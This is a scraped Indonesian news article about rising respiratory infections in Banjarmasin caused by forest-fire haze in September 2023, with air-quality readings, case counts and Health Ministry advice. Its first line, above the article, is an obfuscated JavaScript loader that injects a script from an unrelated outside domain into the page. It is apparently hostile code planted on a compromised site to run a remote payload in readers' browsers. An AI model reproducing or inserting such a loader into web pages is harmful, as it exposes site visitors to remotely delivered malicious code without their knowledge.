(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Kualitas udara yang semakin memburuk di Kota Banjarmasin akibat kabut asap dari Karhutla menyebabkan meningkanya penyakit infeksi saluran pernapasan akut (ISPA).
Seturut data Kementerian Lingkungan Hidup dan Kehutanan (KLHK) pada tanggal 26 September 2023, Indeks Standar Pencemaran Udara (ISPU) Pollutant Standard Indeks (PSI) Kota Banjarmasin berada pada angka 202 atau dalam kategori sangat tidak sehat.
Sementara itu, pada Kamis (28/9/2023) papan kualitas udara yang terpasang di jalan Lambung Mangkurat Kota Banjarmasin, angka Quality Monitoring System (AQMS) berada pada level kuning mendekati merah untuk PM 2,5 alias masih tidak sehat.
Baca juga: Modifikasi Cuaca di Kalsel Tak Berhasil, Ini Penyebabnya
Data Dinas Kesehatan (Dinkes) Kota Banjarmasin, jumlah penderita ISPA di Banjarmasin pada bulan Agustus 2023 hingga saat ini yaitu sebanyak 5.896 kasus. Dengan rincian umur di bawah 5 tahun 1.345 kasus, 5-8 tahun 936 kasus, 9-60 tahun 2927 kasus, dan diatas 60 tahun 688 kasus.
Angka itu menujukan peningkatan dibandingkan dua bulan sebelumnya, yaitu pada bulan Juli 4.351 kasus dan Juni 3.769 kasus.
Plt Kepala Dinas Kesehatan (Kadinkes) Kota Banjarmasin Ramadhan saat dihubungi mengungkapkan gejala ISPA yang ditemukan berupa demam, batuk, sakit tenggorokan, nyeri saat menelan air liur, dan pilek.
Baca juga: Paling Agung Akhlaknya, Habib Jindan: Dicaci Disakiti, Dibalas Nabi dengan Doa
Dikatakan, pihaknya juga telah menerima laporan dari Dinas Lingkungan Hidup (DLH) terkait kualitas udara di Kota Banjarmasin yang menunjukan warna kuning atau berada di tingkat waspada. Oleh karena itu, masyarakat yang beraktivitas di luar ruangan diimbau untuk memakai masker.
“Pakai masker saat di luar ruangan, dan jagalah daya tahan tubuh dengan makanan yang sehat, bergizi, jaga asupan air minum, istrahat yang cukup, bisa tambah dengan suplemen vitamin,” imbau Ramadhan, Kamis (28/9/2023) siang.
Masyarakat yang memiliki riwayat penyakit asma diimbau agar selalu membawa obat-obatan yang biasa dikonsumsi.
Baca juga: Ragam Acara Warnai Expo Milad ke-31 STIA Amuntai
“Atau segera hubungi pelayanan kesehatan terdekat apabila gelajala asma tidak membaik,” tandasnya.
Ramadhan juga membeberkan jika Kemenkes RI telah merilis panduan protokol kesehatan 6M+1S dalam menghadapi polusi udara yakni:
1. Memeriksa kualitas udara melalui aplikasi atau website
2. Mengurangi aktivitas luar ruangan dan menutup ventilasi rumah, kantor, sekolah, atau tempat umum saat polusi udara tinggi
3. Menggunakan penjernih udara dalam ruangan
4. Menghindari sumber polusi dan asap rokok
5. Menggunakan masker saat polusi udara tinggi
6. Melaksanakan Perilaku Hidup Bersih dan Sehat
7. Segera konsultasi daring atau luring dengan tenaga kesehatan jika muncul keluhan pernapasan. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, JAKARTA - Kompleksitas isu lingkungan kerap dianggap sulit untuk dikemas menjadi berita sederhana namun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ratusan personel tim terpadu menertibkan Alat Peraga Kampanye (APK) sehari jelang masa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Laporan dugaan pelanggaran yang dilayangkan salah seorang warga terhadap Calon Bupati dan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Ketua Tim Penggerak Pemberdayaan dan Kesejahteraan Keluarga (TP PKK) Kabupaten… Read More
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
This website uses cookies.